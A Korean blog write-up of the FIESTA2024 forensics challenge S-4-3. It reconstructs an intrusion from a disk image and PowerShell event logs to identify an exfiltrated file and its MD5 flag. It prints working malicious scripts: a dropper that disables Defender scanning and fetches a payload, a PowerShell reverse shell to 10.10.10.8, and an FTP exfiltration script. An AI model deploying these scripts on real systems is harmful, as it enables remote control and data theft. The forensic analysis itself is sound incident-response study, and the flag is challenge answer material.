FIESTA2024 S-4-3 풀이

Posted by : at

Category : forensic



  1. FIESTA2024 S-4-1
  2. FIESTA2024 S-4-2
  3. FIESTA2024 S-4-3


문제

유출된 파일 이름

Flag 형식 = FIESTA{(MD5SUM)}

  • 유출된 파일의 MD5SUM값을 입력해야 합니다.
  • 해쉬값은 대문자입니다.


S-4-1에서 쉘스크립트가 실행된 것을 보았다.

해당 스크립트는 아래와 같았다.


# 시스템 경로 예외 추가
Add-MpPreference -ExclusionPath "C:\Windows\System32"

# PowerShell 실행 정책 설정
$executionPolicyPath = "HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"
$executionPolicyValue = "Unrestricted"
Set-ItemProperty -Path $executionPolicyPath -Name "ExecutionPolicy" -Value $executionPolicyValue

# 압축 라이브러리 추가
Add-Type -AssemblyName System.IO.Compression.FileSystem

# 인터넷 연결 테스트 함수
function Test-InternetConnection {
    try {
        $request = [System.Net.WebRequest]::Create("http://www.google.com")
        $request.Timeout = 10000
        $request.Method = "HEAD"
        $response = $request.GetResponse()
        $response.Close()
        return $true
    } catch {
        return $false
    }
}

# 기본 디렉터리 생성 함수
function Create-BaseDirectory {
    $directoryPath = "C:\Program Files\Microsoft Mail"
    
    if (!(Test-Path -Path $directoryPath)) {
        New-Item -Force -ItemType directory -Path $directoryPath
        Write-Output "[+] Base Directory Created"
    } else {
        Write-Output "[!] Base Directory Already Exists"
    }

    # 예외 경로 추가
    Add-MpPreference -ExclusionPath "C:\Program Files\Microsoft Mail"
}

# 파일 다운로드 함수
function Download-File {
    $url1 = "https://www.7-zip.org/a/7z2401-x64.exe"
    $dest1 = "C:\Program Files\Microsoft Mail\7z.exe"
    
    $url2 = "https://drive.usercontent.google.com/u/0/uc?id=1OvkcHZnQd91akAGdaQLNWU_HxjNvv9Hl&export=download"
    $dest2 = "C:\Program Files\Microsoft Mail\mail.zip"
    
    $client = New-Object System.Net.WebClient
    $client.DownloadFile($url1, $dest1)
    $client.DownloadFile($url2, $dest2)
    
    Write-Output "[+] Success Download"
}

# 압축 해제 함수
function PWUnzip {
    $install7z = "C:\Program Files\Microsoft Mail\7z.exe"
    $zipFilePath = "C:\Program Files\Microsoft Mail\mail.zip"
    $7zipPath = "C:\Program Files\7-Zip\7z.exe"
    
    # 7-Zip 설치 및 압축 해제
    Start-Process $install7z /S -Wait -PassThru
    & $7zipPath x $zipFilePath -y
    mv rc "C:\Program Files\Microsoft Mail\"
}

# 파일 숨기기 및 정리 함수
function Hide-Action {
    Remove-Item -Path "C:\Program Files\Microsoft Mail\mail.zip"
    Remove-Item -Path "C:\Program Files\Microsoft Mail\7z.exe"
    Remove-Item -Path "C:\Users\torden\Downloads\mail helper.zip"
    Remove-Item -Recurse -Path "C:\Users\torden\Downloads\mail helper"
    
    $End_Task = Get-Item "C:\Program Files\Microsoft Mail\" -Force
    $End_Task.Attributes = "Hidden"
    
    Write-Output "[+] Success Hidden_Action"
}

# 메인 실행 흐름
Create-BaseDirectory

if (Test-InternetConnection) {
    Download-File
    PWUnzip
    Hide-Action
}

# 작업 디렉터리 이동 및 스크립트 실행
cd "C:\Program Files\Microsoft Mail\rc"
& ".\system.ps1"


해당 디렉토리에 가보니 두 개의 파일이 있었음음

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png


system.ps1

$client =  New-Object System.Net.Sockets.TCPClient("10.10.10.8", 5555)
& .\class.ps1


class.ps1

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS" + (pwd).PATH + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}


리버스 쉘이다.

해당 파일들은 2024년 7월 23일 오전 11:43:37에 생성되었다.

악성 행위는 그 다음에 진행되었을 것이다.


주어진 디스크 이미지에서 로그 파일을 뽑았다.

쉘코드를 실행했기 때문에 쉘 로그를 뽑음

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png

C:\Users\kusti\AppData\Local\Temp\mpev.ps1


/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png

ftp를 하는 쉘코드인 것으로 보인다.


mpev.ps1

$path="C:\Users\kusti\Desktop\Work";
$server_ip="ftp://10.10.10.8/";
$id="send001";
$passwd="vkdlftjqj123";
$tymqfsdplx="/";

$vsjnriobex=Get-ChildItem -Path $path | Sort-Object Length -Descending | Select-Object -First 1;
if($vsjnriobex)
{
    $bhvkunqarl=$vsjnriobex.FullName;
    $dywrutljzc="$server_ip$tymqfsdplx/$($vsjnriobex.Name)";
    $reokcjfzxw=New-Object System.Net.WebClient;
    $reokcjfzxw.Credentials=New-Object System.Net.NetworkCredential($id,$passwd);
    $reokcjfzxw.UploadFile($dywrutljzc,$bhvkunqarl)
    
}
else{
    Write-Host "."
    }


난독화를 해제하면 다음과 같다.


$path="C:\Users\kusti\Desktop\Work";
$server_ip="ftp://10.10.10.8/";
$id="send001";
$passwd="vkdlftjqj123";

$biggest_file=Get-ChildItem -Path $path | Sort-Object Length -Descending | Select-Object -First 1;
if($biggest_file)
{
    $target_fileName=$biggest_file.FullName;
    $uri="$server_ip//$($biggest_file.Name)";
    $ftp_initialize=New-Object System.Net.WebClient;
    $ftp_initialize.Credentials=New-Object System.Net.NetworkCredential($id,$passwd);
    $ftp_initialize.UploadFile($uri,$target_fileName)
    
}
else{
    Write-Host "."
    }


C:\Users\kusti\Desktop\Work 디렉토리에 있는 가장 큰 파일을 원격지 서버에 업로드한다.

위 악성행위가 수행된 시점에, 위 디렉토리에 있던 가장 큰 파일은 무엇이었을까?

사실은… 해당 디렉토리를 보면 파일이 그렇게 많지 않다.

따라서 파일 이름의 MD5SUM 값을 다 구해서 일일이 넣어보면 문제는 풀린다.

그러나 좀 더 근거를 가지고 접근하고 싶으니 더 생각해보자.


처음부터 다시 한 번 동작을 짚어보겠다.

  1. 피해자는 악성 배치 파일을 실행했다.
  2. 실행된 악성 배치 파일은 함께 있던 악성 파일 powershell.ps1 파일을 실행했다.
  3. powershell.ps1 파일은 함께 있던 Guide.idb 파일을 디코딩해 악성 커맨드를 뽑았고, 실행했다.
  4. 실행된 악성 커맨드는 원격지 서버에서 파일을 다운받고, 7-zip 유틸리티를 이용해 백그라운드로 압축 해제 및 실행하도록 했다.
  5. 그렇게 드롭된 system.ps1 파일은 class.ps1 파일을 실행했다.
  6. class.ps1 파일은 리버스 쉘로, mpev.ps1을 피해자 컴퓨터에 write했다.
  7. mpev.ps1 파일은 실행 시점에 상기 디렉토리에 있는 가장 큰 파일을 ftp 를 이용해 원격지 서버에 업로드했다.


파워쉘 스크립트가 핵심적으로 사용됐으므로 침해당한 컴퓨터의 PowerShell 로그를 확인할 것이다.

3번~4번에서 넘어가는 시점에 파워쉘은 파이프라인 IO를 활용해 커맨드를 실행했을 것이다.

즉, 800번 이벤트가 반드시 발생했다.


이벤트 ID 순으로 파워쉘 로그를 정렬해 보았다.

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png

24.08.10 오후 5:12:49


7번의 행위는 반드시 저 시점 이후에 발생한다.

따라서, 저 시점을 기준으로 mpev.ps1 문자열을 포함하는 이벤트를 전부 검색했다.


/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png

(위 사진은 찾을 내용 다 찾아봤을 때, 저 시점이 mpev.ps1의 가장 최초 실행 시점임을 뜻한다)

그 결과, 아래와 같이 정리할 수 있었다.


이벤트 ID 403, 파워쉘 중지(powershell.ps1과 mpev.ps1), 24.08.10 오후 5:19:33

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png


이벤트 ID 600, 파워쉘 코드 실행(mpev.ps1), 24.08.10 오후 5:19:32

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png


즉, 24.08.10 오후 5:19:33 이전에 해당 디렉토리에 있던 파일 중 가장 큰 것이 유출되었다는 결론이 나온다.

해당 디렉토리에 있던 파일을 추출해서 크기 내림차순으로 정렬 후 확인했다.


/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png


pdoc.png 파일이 조건에 부합하는 파일 중 가장 큰 것으로 확인되었다.

해당 파일의 MD5SUM 값을 CyberChef로 구해 보았다.

/assets/img/posts/2025-01-29-FIESTA2024-S-4-3/image.png


따라서 플래그는 다음과 같다.

FIESTA{75C1AB24F0B76C54AA76F464F66E72CA}




  1. FIESTA2024 S-4-1
  2. FIESTA2024 S-4-2
  3. FIESTA2024 S-4-3



About TouBVA
TouBVA

A Security Researcher, now concentrating on Security Consulting.

Email : touBVa@gmail.com

Website : https://toubva.github.io